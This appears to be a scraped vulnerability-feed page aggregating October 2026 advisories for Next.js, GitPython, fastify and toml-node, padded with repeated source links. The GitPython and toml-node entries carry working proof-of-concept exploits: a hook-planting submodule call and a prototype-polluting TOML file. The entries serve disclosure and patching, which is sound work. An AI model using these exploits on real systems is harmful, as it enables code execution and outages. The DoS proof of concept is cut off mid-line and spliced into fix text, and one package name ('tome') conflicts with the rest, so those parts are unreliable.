https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D ## Impact A vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays. ## Workaround There is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions. Affected package ranges reported by GitHub: next: >= 16.0.0, <= 16.4.0 Action: GitHub lists first patched versions: next: 16.4.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### GitPython validates a submodule's ".git" path only after cloning into it (RCE) https://kevwire.com/record/CVE-2026-114145 GitPython validates a submodule's ".git" path only after cloning into it (RCE) (Oct 22, 2026). `create_submodule(name, path, url)` clones a submodule into the repo's own `.git` directory before it rejects the path. A `path` of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named `post-checkout` in the submodule becomes an executable `.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`, but only after the clone already wrote to disk, and it does not remove the planted hook; on 3.1.x there is no such check and the call succeeds silently. Either way the hook runs on the next git operation (e.g. checkout), giving code execution. The checkout path is validated too late, after the clone has already mutated disk. This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate submodule checkout and metadata paths before mutation") set out to enforce. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114145). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-83vg-56qc-22m7: https://github.com/advisories/GHSA-83vg-56qc-22m7 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114145: https://nvd.nist.gov/vuln/detail/CVE-2026-114145 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25 ### Summary `create_submodule(name, path, url)` clones a submodule into the repo's own `.git` directory before it rejects the path. A `path` of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named `post-checkout` in the submodule becomes an executable `.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`, but only after the clone already wrote to disk, and it does not remove the planted hook; on 3.1.x there is no such check and the call succeeds silently. Either way the hook runs on the next git operation (e.g. checkout), giving code execution. ### Details The checkout path is validated too late, after the clone has already mutated disk. This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate submodule checkout and metadata paths before mutation") set out to enforce. Submodule.add() calls the permissive path check before cloning, and the strict check only reaches the ".git" alias at index time, after _clone_repo has written to disk: git/objects/submodule/base.py (Submodule.add) 599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks" 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks 714: index.add([sm], write=True) # strict check only triggers here git/index/base.py (IndexFile._preprocess_add_items) 732: _validate_repo_path(entry.path) # rejects ".git", too late _to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and runs at the index boundary. The ValueError it raises at line 732 does not roll back what _clone_repo already wrote. Version-dependent behavior: - 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the hook is already on disk and is not removed (incorrect order of validation vs. clone). - 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does not reject `.git`; create_submodule(path=".git/hooks", ...) returns with no error at all and the hook is planted silently. ### Proof of concept Setup: evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload) victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO sample hooks (the state of a minimal/CI checkout, or `git init` with an empty template dir, or GIT_TEMPLATE_DIR/init.templateDir empty) import git, os.path as osp try: git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub")) except ValueError: pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened. # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook. #### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every #### affected version. Any later checkout runs it: #### git -C victim checkout -> the hook runs -> code execution Verified live: - tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and `git checkout` executed it. - 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted and executed by `git checkout`. ### Impact Arbitrary code execution. A library/app that creates a submodule from an attacker-influenced `path` ends up with an attacker-controlled executable in `.git/hooks`, which git runs on ordinary later operations. This affects any service that derives a submodule checkout path from untrusted data, e.g. one that ingests a submodule spec (name/path/url) from a user-supplied manifest or API request and feeds `path` into create_submodule. On 3.2.0+ the library's own validation is the thing that fails: it correctly rejects the `.git` path, but only after the submodule has already been cloned into place, so an app that traps the ValueError reasonably believes the unsafe path was blocked. Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`; (2) the target hook name is free in `.git/hooks`, true for minimal/CI/container checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default sample hooks present, `git clone` refuses the non-empty destination and no plant occurs. Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08 (3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError. Affected package ranges reported by GitHub: Gitpython: <= 3.2.0 Action: GitHub lists first patched versions: Gitpython: 3.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### fastify is vulnerable to header validation bypass via case-sensitive propertyNames https://kevwire.com/record/CVE-2026-107832 fastify is vulnerable to header validation bypass via case-sensitive propertyNames (Oct 22, 2026). Fastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`. Users should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers. CVSS 3.7 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-389g-gv7q-r4x8). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-389g-gv7q-r4x8: https://github.com/advisories/GHSA-389g-gv7q-r4x8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25 ### Impact Fastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`. ### Patches Users should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers. ### Workarounds Write the `propertyNames` header-name constraint in lowercase (for example `enum: ['x-debug-override']`), or enforce the header check in an `onRequest` or `preValidation` hook instead of the schema. Affected package ranges reported by GitHub: fastify: >= 5.12.2, < 5.12.6 Action: GitHub lists first patched versions: fastify: 5.12.6. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype https://kevwire.com/record/CVE-2026-114142 toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype (Oct 22, 2026). A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries. **1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment: CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114142). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-h895-cgqg-jf52: https://github.com/advisories/GHSA-h895-cgqg-jf52 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114142: https://nvd.nist.gov/vuln/detail/CVE-2026-114142 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25 ### Summary CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters. A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries. ### Details Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0. **1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment: ```js 287: function quoteDottedString(str) { 288: if (str.indexOf(".") > -1) { 289: return "\"" + str + "\""; 290: } else { 291: return str; 292: } 293: } ``` So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot. **2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry. **3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test: ```js 93: target = target[k]; ... 103: target[lastKey] = reduced; ``` A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`. Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`. ```bash mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0 ``` ```toml # poc.toml "b.c" = 1979-05-27T07:32:00Z [['"b']] ["b.c"] __proto__.__proto__.polluted = "yes" ``` Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the `Date`. Line 4 walks `Date` → `Date.prototype` → `Object.prototype`. ```js // poc.js const toml = require('toml'); const fs = require('fs'); console.log('before:', JSON.stringify(({}).polluted)); toml.parse(fs.readFileSync('poc.toml', 'utf8')); console.log('after: ', JSON.stringify(({}).polluted)); console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted')); console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted)); ``` ``` $ node poc.js before: undefined after: "yes" Object.prototype.hasOwnProperty("polluted") = true JSON.parse("{}").polluted = "yes" ``` The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched. A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing. ### Impact Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property. Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string. Affected package ranges reported by GitHub: tome: <= 5.0.0 Action: GitHub lists first patched versions: tome: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### toml-node: Quadratic-complexity DoS via many array-of-tables headers in toml.parse() https://kevwire.com/record/CVE-2026-114141 toml-node: Quadratic-complexity DoS via many array-of-tables headers in toml.parse() (Oct 22, 2026). `toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many array-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two entire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct entries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document of 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely ordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections), not a contrived edge case. This is a separate, unpatched code path from the previously fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all. - Package: `toml` (npm), repository `BinaryMuse/toml-node` - Function: `addTableArray()` in `lib/compiler.js` - Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release. Not exhaustively verified against every prior release, but the affected function is unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely predates that release as well. CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114141). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4qx8-w7c3-pj3p: https://github.com/advisories/GHSA-4qx8-w7c3-pj3p GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114141: https://nvd.nist.gov/vuln/detail/CVE-2026-114141 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25 ## Summary `toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many array-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two entire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct entries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document of 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely ordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections), not a contrived edge case. This is a separate, unpatched code path from the previously fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all. ## Affected component / version - Package: `toml` (npm), repository `BinaryMuse/toml-node` - Function: `addTableArray()` in `lib/compiler.js` - Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release. Not exhaustively verified against every prior release, but the affected function is unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely predates that release as well. ## Details `toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to `parser.parse()` and then `compiler.compile()` with no length or structural validation. Every `[[name]]` (array-of-tables) header is routed (`reduce()`, `lib/compiler.js:43`) to `addTableArray()` (`lib/compiler.js:218-245`), which performs two full linear scans on every call: ```js assignedPaths.forEach(function(p) { if (isSameOrSubPath(p, quotedPath)) assignedPaths.delete(p); }); valueAssignments.forEach(function(p) { if (isSameOrSubPath(p, quotedPath)) valueAssignments.delete(p); }); ``` (`lib/compiler.js:228-233`) `assignedPaths` and `valueAssignments` accumulate one entry per top-level key/table/array path ever assigned in the entire document. Each scan prunes only entries matching the *currently reopened* path via `isSameOrSubPath()` (`lib/compiler.js:319-321`: `path === prefix || path.indexOf(prefix + ".") === 0`); anything else — an unrelated top-level key, or simply a *different* array-of-tables name — is never removed and is rescanned in full on every subsequent `[[name]]` header for the rest of the parse. `Set.prototype.forEach` has no early exit, so this is unconditionally O(current Set size) on every call, giving O(n²) total work for n such headers. ## Proof of Concept The sharpest reproduction needs no unrelated keys at all — just N array-of-tables headers with N *distinct* names, since nothing is ever pruned when no name repeats: ```js const toml = require('toml'); function distinctArrayHeaders(n) { let out = ''; for (let i = 0; i >` keyed by the first key component) so `addTableArray()` only ever scans the bucket relevant to the path being reopened, in time proportional to that bucket's size rather than the whole document's accumulated path count: ```js var assignedByRoot = new Map(); // root segment -> Set function addTableArray(node) { var path = node.value; var root = path[0]; var bucket = assignedByRoot.get(root) || new Set(); bucket.forEach(function(p) { if (isSameOrSubPath(p, quotedPath)) bucket.delete(p); }); // ...rest of addTableArray unchanged, reading/writing the per-root bucket // instead of the global assignedPaths/valueAssignments Sets } ``` As with the sibling finding, an input-size or table-count limit would also help as defense-in-depth. ## Credit Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com Affected package ranges reported by GitHub: toml: <= 5.0.0 Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### toml-node: Quadratic-complexity DoS via long dotted keys or table paths in toml.parse() https://kevwire.com/record/CVE-2026-114143 toml-node: Quadratic-complexity DoS via long dotted keys or table paths in toml.parse() (Oct 22, 2026). `toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single long dotted key, table header, or inline-table key. A ~100KB crafted document causes a multi-second synchronous hang; a ~200KB document crashes the Node.js process outright with an uncatchable out-of-memory error. This is a separate, unpatched code path from the previously fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at all, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue. - Package: `toml` (npm), repository `BinaryMuse/toml-node` - Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js` - Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release. Not exhaustively verified against every prior release, but the affected functions are unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely predates that release as well. CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114143). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-9j65-hcg3-gc64: https://github.com/advisories/GHSA-9j65-hcg3-gc64 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D NVD CVE-2026-114143: 